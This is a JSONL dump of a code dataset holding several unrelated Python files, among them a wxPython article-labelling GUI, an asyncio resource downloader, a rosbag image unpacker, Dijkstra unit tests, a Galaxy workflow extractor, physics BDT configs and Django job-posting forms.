##############################################################################################################\n\n\n # 파일 전송 결과 메세지, 메세지(FILE_SEND_RES = 0x04)에 사용할 본문 클래스이다.\n # 요청 메세지의 MSGID와 성공 여부를 나타내는 RESULT 데이터 속성을 갖는다.\nclass BodyResult(ISerializable):\n def __init__(self, buffer):\n # 1 unsigned int, Byte\n self.struct_fmt = '=IB'\n self.struct_len = struct.calcsize(self.struct_fmt)\n\n if buffer != None: # 파일 전송 성공\n unpacked = struct.unpack(self.struct_fmt, buffer)\n self.MSGID = unpacked[0]\n self.RESULT = unpacked[1]\n\n else: # 파일 전송 실패\n self.MSGID = 0\n self.RESULT = tcpip.message.FAIL\n\n\n def GetBytes(self):\n return struct.pack(\n self.struct_fmt,\n *(\n self.MSGID,\n self.RESULT\n ))\n\n def GetSize(self):\n return self.struct_len\n\n\n\n\n\n\n\n","sub_path":"raspberryPi/tcpip/message_body.py","file_name":"message_body.py","file_ext":"py","file_size_in_byte":4758,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"130034574","text":"import pandas as pd\nimport wx\nimport sys, os\n\ndataset = pd.read_csv('dataset.csv')\ntitle=dataset['title']\npublisher=dataset['publisher']\narticle=dataset['text']\nTITLE = u'公众号文章分类'\nnum = dataset.shape[0]\nlabels = []\nclass mainFrame(wx.Frame):\n '''程序主窗口类,继承自wx.Frame'''\n def __init__(self, parent,history):\n '''构造函数'''\n wx.Frame.__init__(self, parent, -1, TITLE)\n self.SetBackgroundColour(wx.Colour(224, 224, 224))\n self.SetSize((700, 700))\n self.Center()\n self.id = history + 1\n wx.StaticText(self, -1, u'标题:', pos=(30, 50), size=(40, -1), style=wx.ALIGN_LEFT)\n wx.StaticText(self, -1, u'公众号:', pos=(30, 80), size=(40, -1), style=wx.ALIGN_LEFT)\n wx.StaticText(self, -1, u'正文:', pos=(30, 110), size=(40, -1), style=wx.ALIGN_LEFT)\n self.text_title = wx.StaticText(self, -1, title[self.id], pos=(80, 50), size=(400, 80), style=wx.ALIGN_LEFT^wx.ST_NO_AUTORESIZE)\n self.text_publisher = wx.StaticText(self, -1, publisher[self.id], pos=(80, 80), size=(400, 60), style=wx.ALIGN_LEFT^wx.ST_NO_AUTORESIZE)\n self.text_article = wx.StaticText(self, -1, article[self.id], pos=(80, 110), size=(400, 500), style=wx.ALIGN_LEFT^wx.ST_NO_AUTORESIZE)\n wx.StaticText(self, -1, '标签', pos=(480, 50), size=(100, 25), style=wx.ALIGN_LEFT)\n btn_label1 = wx.Button(self, 0, u'趣闻', pos=(480, 80), size=(100, 25))\n btn_label2 = wx.Button(self, 1, u'学术', pos=(480, 110), size=(100, 25))\n btn_label3 = wx.Button(self, 2, u'表演', pos=(480, 140), size=(100, 25))\n btn_label4 = wx.Button(self, 3, u'新闻', pos=(480, 170), size=(100, 25))\n btn_label5 = wx.Button(self, 4, u'娱乐', pos=(480, 200), size=(100, 25))\n btn_label6 = wx.Button(self, 5, u'资料', pos=(480, 230), size=(100, 25))\n btn_label7 = wx.Button(self, 6, u'科普', pos=(480, 260), size=(100, 25))\n btn_label8 = wx.Button(self, 7, u'其他', pos=(480, 290), size=(100, 25))\n # btn_label9 = wx.Button(self, -1, u'9', pos=(480, 320), size=(100, 25))\n # btn_label10 = wx.Button(self, -1, u'10', pos=(480, 350), size=(100, 25))\n btn_next = wx.Button(self, -1, u'下一条', pos=(480, 380), size=(100, 25))\n btn_last = wx.Button(self, -1, u'上一条', pos=(480, 410), size=(100, 25))\n btn_close = wx.Button(self, -1, u'关闭窗口', pos=(480, 450), size=(100, 25))\n \n # # 控件事件\n self.Bind(wx.EVT_BUTTON, self.OnClose, btn_close)\n self.Bind(wx.EVT_BUTTON, self.OnButtonClick, btn_label1)\n self.Bind(wx.EVT_BUTTON, self.OnButtonClick, btn_label2)\n self.Bind(wx.EVT_BUTTON, self.OnButtonClick, btn_label3)\n self.Bind(wx.EVT_BUTTON, self.OnButtonClick, btn_label4)\n self.Bind(wx.EVT_BUTTON, self.OnButtonClick, btn_label5)\n self.Bind(wx.EVT_BUTTON, self.OnButtonClick, btn_label6)\n self.Bind(wx.EVT_BUTTON, self.OnButtonClick, btn_label7)\n self.Bind(wx.EVT_BUTTON, self.OnButtonClick, btn_label8)\n # # 鼠标事件 \n btn_next.Bind(wx.EVT_LEFT_DOWN, self.next)\n btn_last.Bind(wx.EVT_LEFT_DOWN, self.last)\n # btn_mea.Bind(wx.EVT_LEFT_UP, self.OnLeftUp)\n # btn_mea.Bind(wx.EVT_MOUSEWHEEL, self.OnMouseWheel)\n # btn_meb.Bind(wx.EVT_MOUSE_EVENTS, self.OnMouse)\n \n # # 键盘事件\n # self.Bind(wx.EVT_KEY_DOWN, self.OnKeyDown)\n \n # # 系统事件\n # self.Bind(wx.EVT_CLOSE, self.OnClose)\n # self.Bind(wx.EVT_SIZE, self.On_size)\n #self.Bind(wx.EVT_PAINT, self.On_paint)\n #self.Bind(wx.EVT_ERASE_BACKGROUND, lambda event: None)\n \n def OnButtonClick(self, evt):\n '''输入框事件函数'''\n id = evt.GetEventObject().GetLabel()\n labels.append(id)\n if (self.id < num):\n self.id += 1\n self.text_title.SetLabel(title[self.id])\n self.text_publisher.SetLabel(publisher[self.id])\n self.text_article.SetLabel(article[self.id])\n \n def On_size(self, evt):\n '''改变窗口大小事件函数'''\n self.Refresh()\n evt.Skip()\n \n def OnClose(self, evt):\n '''关闭窗口事件函数'''\n with open('logs.txt','w') as f:\n f.write(str(self.id))\n dlg = wx.MessageDialog(None, u'确定要关闭本窗口?', u'操作提示', wx.YES_NO | wx.ICON_QUESTION)\n if(dlg.ShowModal() == wx.ID_YES):\n self.Destroy()\n \n def next(self, evt):\n '''下一篇文章'''\n if(self.id < num):\n self.id += 1\n self.text_title.SetLabel(title[self.id])\n self.text_publisher.SetLabel(publisher[self.id])\n self.text_article.SetLabel(article[self.id])\n\n def last(self, evt):\n '''上一篇文章'''\n if (self.id > 0):\n self.id -= 1\n self.text_title.SetLabel(title[self.id])\n self.text_publisher.SetLabel(publisher[self.id])\n self.text_article.SetLabel(article[self.id])\n\n # def OnLeftUp(self, evt):\n # '''左键弹起事件函数'''\n #\n # self.tip.SetLabel(u'左键弹起')\n #\n # def OnMouseWheel(self, evt):\n # '''鼠标滚轮事件函数'''\n #\n # vector = evt.GetWheelRotation()\n # self.tip.SetLabel(str(vector))\n #\n # def OnMouse(self, evt):\n # '''鼠标事件函数'''\n #\n # self.tip.SetLabel(str(evt.EventType))\n #\n # def OnKeyDown(self, evt):\n # '''键盘事件函数'''\n #\n # key = evt.GetKeyCode()\n # self.tip.SetLabel(str(key))\n\nclass mainApp(wx.App):\n def OnInit(self):\n with open('logs.txt', 'r') as f:\n hist_id = int(f.read())\n self.SetAppName(TITLE)\n self.Frame = mainFrame(None,hist_id)\n self.Frame.Show()\n return True\n \nif __name__ == \"__main__\":\n app = mainApp()\n app.MainLoop()\n with open(\"labels.txt\",'a',encoding='utf-8') as f:\n f.write('\\n'.join(labels))\n","sub_path":"文本预处理/label_ui.py","file_name":"label_ui.py","file_ext":"py","file_size_in_byte":5988,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"146522480","text":"#! /usr/bin/env python\n# -*- coding: utf-8 -*-\n\n\"\"\"\n@Author:lichunhui\n@Time: 2018/7/12 10:13\n@Description: \n\"\"\"\nimport os\nimport time\nimport asyncio\n\nimport aiofiles\nfrom aiohttp import ClientSession\nfrom baikeSpider.settings import (WEB_CACHE_DELAY, WEB_CACHE_FEED_SIZE, BAIDU_HTML_CACHE, BAIKE_HTML_CACHE,\n BAIDU_SPIDER_NAME, BAIKE_SPIDER_NAME, WIKI_ZH_SPIDER_NAME,\n WIKI_EN_SPIDER_NAME)\nfrom baikeSpider.db.basic import get_redis_conn\nfrom baikeSpider.utils.utils import bytes2str, strips\n\n\nclass baseDownloader(object):\n \"\"\"\n 下载资源\n\n \"\"\"\n\n def __init__(self):\n pass\n\n def run(self):\n redis_batch_size = WEB_CACHE_FEED_SIZE\n task_queue = \"resources:cache_task_queue\"\n fetch_one = get_redis_conn().lpop\n while True:\n time.sleep(WEB_CACHE_DELAY)\n found = 0\n while found < redis_batch_size:\n data = fetch_one(task_queue)\n if not data:\n # Queue empty.\n break\n data = eval(data)\n req1, req2, req3 = self.make_request_from_data(data)\n # if req1 and req2 and req3:\n # # yield req\n found += 1\n\n def make_request_from_data(self, data):\n title = data['title']\n spiderName = data['from2']\n htm = data['htm']\n js = data['js']\n css = data['css']\n pic = data['pic']\n\n loop = asyncio.get_event_loop()\n sem = asyncio.Semaphore(100)\n\n tasks = [asyncio.ensure_future(self.download_js(i, spiderName, sem)) for i in js]\n js_res = loop.run_until_complete(asyncio.gather(*tasks))\n\n tasks = [asyncio.ensure_future(self.download_css(i, spiderName, sem)) for i in css]\n css_res = loop.run_until_complete(asyncio.gather(*tasks))\n\n tasks = [asyncio.ensure_future(self.download_pic(i, spiderName, sem, title)) for i in pic]\n pic_res = loop.run_until_complete(asyncio.gather(*tasks))\n\n return js_res, css_res, pic_res\n\n # TODO: 文件存储方法改为写入KAFKA\n @classmethod\n async def download_js(cls, url, spiderName, sem):\n async with ClientSession() as session:\n async with sem:\n res = \"\"\n try:\n async with session.get(url) as response:\n res = await response.read()\n path = url.split('/')[-1]\n js_filename = None\n if spiderName == \"baiduSpider\":\n folder = os.path.join(BAIDU_HTML_CACHE, 'js_resources')\n cls.file_exists(folder)\n js_filename = os.path.join(folder, path)\n elif spiderName == \"baikeSpider\":\n folder = os.path.join(BAIKE_HTML_CACHE, 'js_resources')\n cls.file_exists(folder)\n js_filename = os.path.join(folder, path)\n async with aiofiles.open(js_filename, 'w+', encoding='utf8') as writter:\n await writter.write(bytes2str(res))\n except Exception or TimeoutError as e:\n print(e)\n finally:\n return res\n\n # TODO: 文件存储方法改为写入KAFKA\n @classmethod\n async def download_css(cls, url, spiderName, sem):\n async with ClientSession() as session:\n async with sem:\n res = \"\"\n try:\n async with session.get(url) as response:\n res = await response.read()\n # print(res)\n css_filename = None\n path = url.split('/')[-1]\n\n if spiderName == \"baiduSpider\":\n folder = os.path.join(BAIDU_HTML_CACHE, 'css_resources')\n cls.file_exists(folder)\n css_filename = os.path.join(folder, path)\n elif spiderName == \"baikeSpider\":\n folder = os.path.join(BAIKE_HTML_CACHE, 'css_resources')\n cls.file_exists(folder)\n css_filename = os.path.join(folder, path)\n\n async with aiofiles.open(css_filename, 'w+', encoding='utf8') as writter:\n await writter.write(bytes2str(res))\n except Exception or TimeoutError as e:\n print(e)\n finally:\n return res\n\n # TODO: 文件存储方法改为写入KAFKA\n @classmethod\n async def download_pic(cls, url, spiderName, sem, title):\n async with ClientSession() as session:\n async with sem:\n res = \"\"\n try:\n async with session.get(url) as response:\n res = await response.read()\n path = url.split('/')[-1]\n folder = strips(title)\n pic_filename = None\n if spiderName == \"baiduSpider\":\n folder = os.path.join(BAIDU_HTML_CACHE, folder)\n cls.file_exists(folder)\n pic_filename = os.path.join(folder, path)\n elif spiderName == \"baikeSpider\":\n folder = os.path.join(BAIKE_HTML_CACHE, folder)\n cls.file_exists(folder)\n pic_filename = os.path.join(folder, path)\n async with aiofiles.open(pic_filename, 'wb') as writter:\n await writter.write(res)\n except Exception or TimeoutError as e:\n print(e)\n finally:\n return res\n\n @classmethod\n def file_exists(cls, folder):\n if not os.path.exists(folder):\n os.makedirs(folder)\n","sub_path":"WebDownloader/base.py","file_name":"base.py","file_ext":"py","file_size_in_byte":6104,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"639362800","text":"#!/usr/bin/env python\n\"\"\"Extract images from a rosbag.\n\"\"\"\n\nimport os\nimport argparse\n\nimport cv2\nimport rosbag\nfrom sensor_msgs.msg import Image\nfrom cv_bridge import CvBridge\nimport pdb\n\ncurrent_counts = {}\ndef count(topic):\n if topic in current_counts:\n current_counts[topic]=current_counts[topic]+1\n return current_counts[topic]\n else:\n current_counts[topic] = 0\n print('outputting %s' % topic)\n return count(topic)\n\ndef unpack(bag_file, topics):\n bag = rosbag.Bag(bag_file, \"r\")\n bridge = CvBridge()\n latestpose = None\n messagesstore = [] # for storing messages till first amcl pose arrives\n for topic, msg, t in bag.read_messages():\n if topic == '/amcl_pose':\n if latestpose == None:\n latestpose = msg.pose\n for t, pose, cv_img in messagesstore:\n yield t, latestpose, cv_img\n else:\n latestpose = msg.pose\n\n elif topic in topics:\n cv_img = bridge.imgmsg_to_cv2(msg, desired_encoding=\"passthrough\")\n if latestpose == None:\n messagesstore.append((t, None, cv_img))\n else:\n yield t, latestpose, cv_img\n\n bag.close()\n\ndef main():\n \"\"\"Extract a folder of images from a rosbag.\n \"\"\"\n parser = argparse.ArgumentParser(description=\"Extract images from a ROS bag.\")\n parser.add_argument(\"bag_file\", help=\"Input ROS bag.\")\n parser.add_argument(\"output_dir\", help=\"Output directory.\")\n\n args = parser.parse_args()\n\n print(\"Unpacking %s to %s\" % (args.bag_file, args.output_dir))\n\n unpack(args.bag_file, args.output_dir)\n\n return\n\nif __name__ == '__main__':\n main()\n","sub_path":"src/unpacker.py","file_name":"unpacker.py","file_ext":"py","file_size_in_byte":1711,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"35597504","text":"\"\"\"設定\n* 横幅は 450px 程度以下\n * crieitブログに貼りつけるとき、横幅が広すぎると圧縮されて gifアニメ ではなくなってしまう\n* ファイルサイズは 2MB 以下\n * crieitブログの画像貼付け制限\n\"\"\"\n\n# グリッド間隔\nGRID_UNIT = 14\n# GRID_UNIT = 16\n\n# 色相環一周分のコマ数\n# PHASE_COUNTS = 6\n# PHASE_COUNTS = 24\n# PHASE_COUNTS = 60\nPHASE_COUNTS = 360 # よく確認するにはこれだが、画像が多すぎる(^~^)\n# PHASE_COUNTS = 8*360 # 誤差を測りたいとき(^~^)\n\n# フォント倍率\nFONT_SCALE = 0.5\n\n# 0~255なら、256\nBAR_TICKS = 256\n# BAR_TICKS = 60 # Vividのとき60にすると分かりやすいぜ(^~^)\n","sub_path":"c_step25/conf.py","file_name":"conf.py","file_ext":"py","file_size_in_byte":733,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"257641772","text":"import unittest\nfrom SdnRouter.alg.dijkstra import DijkstraAlgorithm\n\nclass DijkstraAlgorithmTest(unittest.TestCase):\n\t\n\tdef compute_dijkstra_tree_test(self):\n\t\t# see 'compute_dijkstra_tree_test_topo.png'\n\t\t# src = s1, all metrics are 1\n\t\t# port is None here\n\t\tadj_map = {1: {2: None, \n\t\t\t\t 3: None}, \n\t\t\t\t 2: {1: None, \n\t\t\t\t 3: None}, \n\t\t\t\t 3: {1: None, \n\t\t\t\t 2: None}}\n\t\tvertices = [1, 2, 3]\n\n\t\tdijkstra = DijkstraAlgorithm(adj_map)\n\t\tancestors = dijkstra.compute_dijkstra_tree(1, vertices)\n\t\tself.assertEqual(ancestors, [-1, None, 1, 1])\n\t\t\n\tdef compute_shortest_path_test(self):\n\t\t# see 'compute_shortest_path_test_topo.png'\n\t\t# src = s1, dst = s3, all metrics are 1\n\t\t# port is any in tuple (metric, port), it is None here\n\t\tadj_map = {1: {2: None,\n\t\t\t\t 3: None},\n\t\t\t\t 2: {1: None,\n\t\t\t\t\t 3: None},\n\t\t\t\t 3: {1: None,\n\t\t\t\t\t 2: None,\n\t\t\t\t\t 4: None},\n\t\t\t\t 4: {3: None}}\n\t\tvertices = [1, 2, 3, 4]\n\t\t\n\t\tdijkstra = DijkstraAlgorithm(adj_map)\n\t\tancestors = dijkstra.compute_shortest_path(1, 3, vertices)\n\t\tself.assertEqual(ancestors, [-1, None, 1, 1, None])\n\t\t\n\tdef find_vertex_with_min_dst_test(self):\n\t\tvertices = [1, 2, 3, 4, 5, 6, 7]\n\t\tdst = [-1, 4, 7, 3, 34, 2, 8, 21]\n\t\t\n\t\tdijkstra = DijkstraAlgorithm({})\n\t\tv_with_min_dst = dijkstra.find_vertex_with_min_dst(set(vertices), dst)\n\t\tself.assertEqual(v_with_min_dst, 5)\n\t\t\nif __name__ == '__main__':\n\tunittest.main()","sub_path":"test/dijkstra_test.py","file_name":"dijkstra_test.py","file_ext":"py","file_size_in_byte":1406,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"76882699","text":"\"\"\"\nExtract steps, tools and input and output types of workflows.\n\"\"\"\nimport sys\nimport os\nimport json\nimport time\nimport pandas as pd\nimport operator\n\n\nclass ExtractWorkflows:\n\n @classmethod\n def __init__( self ):\n \"\"\" Init method. \"\"\"\n self.workflow_directory = 'data/workflows/'\n self.tool_data_filename = 'data/workflows_raw.csv'\n self.tools_filename = \"data/all_tools.csv\"\n self.workflows_filename = \"data/processed_workflows.csv\"\n\n @classmethod\n def read_workflow_file( self, workflow_file_path, file_id ):\n \"\"\"\n Read a workflow file to collect all the steps and other attributes\n \"\"\"\n workflow_tools = list()\n workflow_json = dict()\n with open( workflow_file_path, 'r' ) as workflow_file:\n file_raw = workflow_file.readline()\n try:\n file_json = json.loads( file_raw )\n if \"err_msg\" not in file_json:\n all_steps = file_json[ \"steps\" ]\n tool_steps = dict()\n tool_internal_ids = list()\n steps = list()\n immediate_parents = dict()\n for step in all_steps:\n wf_step = all_steps[ step ]\n steps.append( { \"id\": wf_step[ \"id\" ], \"name\": wf_step[ \"name\" ], \"tool_id\": wf_step[ \"tool_id\" ], \"input_connections\": wf_step[ \"input_connections\" ], \"type\": wf_step[ \"type\" ], \"tool_state\": json.loads( wf_step[ \"tool_state\" ] ), \"label\": wf_step[ \"label\" ] } )\n steps = sorted( steps, key=operator.itemgetter( \"id\" ) )\n for step in steps:\n # take a workflow if there is at least one step\n tool_id_orig = step[ \"tool_id\" ]\n if tool_id_orig:\n parent_ids = list()\n tool_id = self.extract_tool_id( tool_id_orig )\n tool_internal_id = step[ \"id\" ]\n tool_internal_ids.append( tool_internal_id )\n tool_steps[ str( tool_internal_id ) ] = tool_id\n workflow_tools.append( tool_id_orig )\n parents = step[ \"input_connections\" ]\n for item in parents:\n parent_id = parents[ item ][ \"id\" ]\n # take only those parents whose tool id is not null\n if steps[ parent_id ][ \"tool_id\" ] is not None:\n parent_ids.append( str( parent_id ) )\n immediate_parents[ str( tool_internal_id ) ] = list( set( parent_ids ) )\n if len( tool_steps ) > 0:\n workflow_json[ \"steps\" ] = tool_steps\n workflow_json[ \"id\" ] = file_id\n workflow_json[ \"name\" ] = file_json[ \"name\" ]\n workflow_json[ \"tags\" ] = \",\".join( file_json[ \"tags\" ] )\n workflow_json[ \"annotation\" ] = file_json[ \"annotation\" ]\n workflow_json[ \"parents\" ] = immediate_parents\n workflow_json[ \"original_steps\" ] = steps\n except Exception:\n pass\n return workflow_json, workflow_tools\n\n @classmethod\n def read_workflow_directory( self ):\n \"\"\"\n Read workflow's directory\n \"\"\"\n workflow_json = list()\n all_workflow_tools = list()\n all_workflow_tools_id = list()\n tools = list()\n for folder in os.listdir( self.workflow_directory ):\n workflow_path = os.path.join( self.workflow_directory, folder )\n for workflow_file_id in os.listdir( workflow_path ):\n wf, tools = self.read_workflow_file( os.path.join( workflow_path, workflow_file_id ), workflow_file_id )\n if workflow_file_id not in workflow_json and wf:\n workflow_json.append( wf )\n all_workflow_tools.extend( tools )\n all_workflow_tools = list( set( all_workflow_tools ) )\n\n # extract ids from the tool ids link\n for item in all_workflow_tools:\n tool_id = self.extract_tool_id( item )\n if tool_id not in tools:\n all_workflow_tools_id.append( { \"Original id\": item, \"Tool id\": tool_id } )\n tools.append( tool_id )\n\n # write all the unique tools to a tabular file\n all_tools_dataframe = pd.DataFrame( all_workflow_tools_id )\n all_tools_dataframe.to_csv( self.tools_filename, encoding='utf-8' )\n # write all the workflows to a tabular file\n all_workflows_dataframe = pd.DataFrame( workflow_json )\n all_workflows_dataframe.to_csv( self.workflows_filename, encoding='utf-8' )\n\n # create flow paths from all workflows and write them as sentences\n wf_steps_sentences = \"\"\n for item in workflow_json:\n flow_paths = list()\n parents_graph = item[ \"parents\" ]\n steps = item[ \"steps\" ]\n roots, leaves = self.get_roots_leaves( parents_graph )\n for root in roots:\n for leaf in leaves:\n paths = self.find_tool_paths_workflow( parents_graph, str( root ), str( leaf ) )\n # reverse the paths as they are computed from leaves to roots\n paths = [ list( reversed( tool_path ) ) for tool_path in paths ]\n if len( paths ) > 0:\n flow_paths.extend( paths )\n all_tool_paths = self.tool_seq_toolnames( steps, flow_paths )\n if wf_steps_sentences == \"\":\n wf_steps_sentences = all_tool_paths\n else:\n wf_steps_sentences += all_tool_paths\n\n workflows_to_json = dict()\n for item in workflow_json:\n workflows_to_json[ item[ \"id\" ] ] = item\n\n with open( \"data/workflows.json\", \"w\" ) as workflows_as_json:\n workflows_as_json.write( json.dumps( workflows_to_json ) )\n workflows_as_json.close()\n\n # write all the paths from all the workflow to a text file\n with open( \"data/workflow_steps.txt\", \"w\" ) as steps_txt:\n steps_txt.write( wf_steps_sentences )\n steps_txt.close()\n\n @classmethod\n def process_tool_names( self, tool_name ):\n if \" \" in tool_name:\n tool_name = tool_name.replace( \" \", \"_\" )\n return tool_name.lower()\n\n @classmethod\n def tool_seq_toolnames( self, tool_dict, paths ):\n tool_seq = \"\"\n for path in paths:\n # create tool paths\n sequence = \"\"\n for tool in path:\n tool_name = self.process_tool_names( tool_dict[ tool ] )\n if sequence == \"\":\n sequence = tool_name\n else:\n sequence += \" \" + tool_name\n sequence += \"\\n\"\n # exclude the duplicate tool paths\n if sequence not in tool_seq:\n if tool_seq == \"\":\n tool_seq = sequence\n else:\n tool_seq += sequence\n return tool_seq\n\n @classmethod\n def find_tool_paths_workflow( self, graph, start, end, path=[] ):\n path = path + [ end ]\n if start == end:\n return [ path ]\n path_list = list()\n for node in graph[ end ]:\n if node not in path:\n new_tools_paths = self.find_tool_paths_workflow( graph, start, node, path )\n for tool_path in new_tools_paths:\n path_list.append( tool_path )\n return path_list\n\n @classmethod\n def get_roots_leaves( self, graph ):\n roots = list()\n leaves = list()\n all_parents = list()\n for item in graph:\n all_parents.extend( graph[ item ] )\n all_parents = list( set( all_parents ) )\n\n for item in graph:\n if len( graph[ item ] ) == 0 and item in all_parents:\n roots.append( item )\n if len( graph[ item ] ) > 0 and item not in all_parents:\n leaves.append( item )\n return roots, leaves\n\n @classmethod\n def extract_tool_id( self, tool_link ):\n tool_id_split = tool_link.split( \"/\" )\n tool_id = tool_id_split[ -2 ] if len( tool_id_split ) > 1 else tool_link\n tool_id_split = tool_id.split( \".\" )\n return tool_id_split[ 0 ] if len( tool_id ) > 1 else tool_id\n\n\nif __name__ == \"__main__\":\n\n if len(sys.argv) != 1:\n print( \"Usage: python extract_workflows.py\" )\n exit( 1 )\n start_time = time.time()\n extract_workflow = ExtractWorkflows()\n extract_workflow.read_workflow_directory()\n end_time = time.time()\n print (\"Program finished in %d seconds\" % int( end_time - start_time ) )\n","sub_path":"extract_workflows.py","file_name":"extract_workflows.py","file_ext":"py","file_size_in_byte":8950,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"427429938","text":"from uBDTConfig import uconfig\r\n\r\nuconfig.dataset.path = \"root://cmseos.fnal.gov//store/user/lpcsusyhad/SVJ2017/Run2ProductionV17/Skims/tree_dijetmtdetahadloosemf-train-flatsig/\"\r\nallsigs = [ \"SVJ_mZprime-\"+str(mZprime)+\"_mDark-20_rinv-0.3_alpha-peak_MC2017\" for mZprime in range(1500,4600,100) ] \\\r\n + [ \"SVJ_mZprime-3000_mDark-\"+str(mDark)+\"_rinv-0.3_alpha-peak_MC2017\" for mDark in range(10,110,10) ] \\\r\n + [ \"SVJ_mZprime-3000_mDark-20_rinv-\"+str(rinv)+\"_alpha-peak_MC2017\" for rinv in [0.1, 0.2, 0.3, 0.4, 0.5, 0.6, 0.7, 0.8] ] \\\r\n + [ \"SVJ_mZprime-3000_mDark-20_rinv-0.3_alpha-\"+alpha+\"_MC2017\" for alpha in [\"peak\",\"high\",\"low\"] ]\r\nuconfig.dataset.signal = {\"SVJ\": list(sorted(set(allsigs)))}\r\nuconfig.dataset.background = {\r\n \"QCD\": [\r\n \"QCD_Pt_300to470_MC2017\",\r\n \"QCD_Pt_470to600_MC2017\",\r\n \"QCD_Pt_600to800_MC2017\",\r\n \"QCD_Pt_800to1000_MC2017\",\r\n \"QCD_Pt_1000to1400_MC2017\",\r\n \"QCD_Pt_1400to1800_MC2017\",\r\n \"QCD_Pt_1800to2400_MC2017\",\r\n \"QCD_Pt_2400to3200_MC2017\",\r\n ],\r\n \"ttbar\": [\r\n \"TTJets_MC2017\",\r\n \"TTJets_DiLept_MC2017\",\r\n \"TTJets_DiLept_genMET150_MC2017\",\r\n \"TTJets_SingleLeptFromT_MC2017\",\r\n \"TTJets_SingleLeptFromT_genMET150_MC2017\",\r\n \"TTJets_SingleLeptFromTbar_MC2017\",\r\n \"TTJets_SingleLeptFromTbar_genMET150_MC2017\",\r\n \"TTJets_HT600to800_MC2017\",\r\n \"TTJets_HT800to1200_MC2017\",\r\n \"TTJets_HT1200to2500_MC2017\",\r\n \"TTJets_HT2500toInf_MC2017\",\r\n ],\r\n}\r\nuconfig.features.uniform = [\"mt\"]\r\nuconfig.features.train = [\"girth\",\"tau21\",\"tau32\",\"msd\",\"deltaphi\",\"axisminor\",\"axismajor\",\"ptD\",\"ecfN2b1\",\"ecfN3b1\",\"fChHad\",\"fEle\",\"fMu\",\"fNeuHad\",\"fPho\"]\r\nuconfig.features.spectator = [\"pt\",\"eta\",\"mZprime\",\"mDark\",\"rinv\",\"alpha\",\"index\"]\r\nuconfig.training.size = 0.5\r\nuconfig.training.signal_id_method = \"isHVtwo\"\r\nuconfig.training.signal_weight_method = \"default\"\r\nuconfig.training.weights = {\r\n \"flat\": [\"flatweightZ30\"],\r\n \"proc\": [\"puweight\",\"procweight\"],\r\n}\r\nuconfig.training.algorithms = {\r\n \"bdt\": \"flat\",\r\n \"ubdt\": \"proc\",\r\n}\r\nuconfig.hyper.max_depth = 3\r\nuconfig.hyper.n_estimators = 1000\r\nuconfig.hyper.subsample = 0.6\r\nuconfig.hyper.learning_rate = 0.1\r\nuconfig.hyper.min_samples_leaf = 0.05\r\nuconfig.hyper.fl_coefficient = 3\r\nuconfig.hyper.power = 2.0\r\nuconfig.hyper.uniform_label = 0\r\nuconfig.hyper.n_bins = 20\r\nuconfig.hyper.uloss = \"log\"\r\n","sub_path":"uBDT/configs/E1.py","file_name":"E1.py","file_ext":"py","file_size_in_byte":2445,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"368555348","text":"\nfrom qalibs.eapi_request import EapiRequests, utils\nfrom qalibs.eapi_request.airsync_api.devices import AirSyncDevice\nfrom qalibs.eapi_request.airsync_api.templates import AirSyncTemplate, AirSyncBlob\n\ntenant = 1 # [\"prox_admin\", \"prox2_admin\", \"prox3_admin\"]\n#eapi = EapiRequests.file('geic-sandbox', tenant=tenant, user='prox2_admin', password='P@ssw0rd')\neapi = EapiRequests.file('geic-qa3', tenant=tenant)\n\nAirSyncTemplate.create_new_template(client=eapi, blob=AirSyncBlob.upload_new_blob_with_random_file(\n client=eapi,\n file_size=1024*1024*100 * 100, #this is 100MB\n with_signature=False,\n with_malformed_signature=False),\n template_type=\"CityIQ Software Update\",\n template_description=f'100MB_upload')\n","sub_path":"upload_package_template.py","file_name":"upload_package_template.py","file_ext":"py","file_size_in_byte":1013,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"200592271","text":"from django import forms\nfrom django.forms import TextInput, Textarea\nfrom django.utils.translation import ugettext_lazy as _\n\nfrom .models import Job, Application\n\nclass JobPostForm(forms.ModelForm):\n class Meta:\n model = Job\n fields = ('job_title', 'details', 'location', 'payscale', 'company',)\n widgets = {\n 'payscale': TextInput(),\n 'details': Textarea(),\n }\n help_texts = {\n 'payscale': _('In l.p.a.'),\n }\n error_messages = {\n 'payscale': {\n 'min_value': _('Pay scale cannot be less than 0')\n }\n }\n\n # def save(self, commit=True):\n # instance = super(JobPostForm, self).save(commit=False)\n # company_name = form.cleaned_data.get(\"company\")[0:2]\n # date = timezone.now().date().strftime('%d%y')\n # random_num = str(randrange(999))\n # gen_id = 'J' + company_name + date + random_num\n # print(gen_id)\n\n\n\n # def clean_payscale(self):\n # payscale = self.cleaned_data.get('payscale')\n # print(payscale)\n # print(type(payscale))\n # matchObj = re.match(r'([0-9]+\\.[0-9]+|[0-9]+)', payscale)\n # if matchObj:\n # return payscale\n # else:\n # raise forms.ValidationError(\"Please enter valid number\")\n\nclass ApplicationForm(forms.ModelForm):\n class Meta:\n model = Application\n fields = ('resume',)\n\n\n\n\n\n\n\n\n\n","sub_path":"src/jobs/forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":1457,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
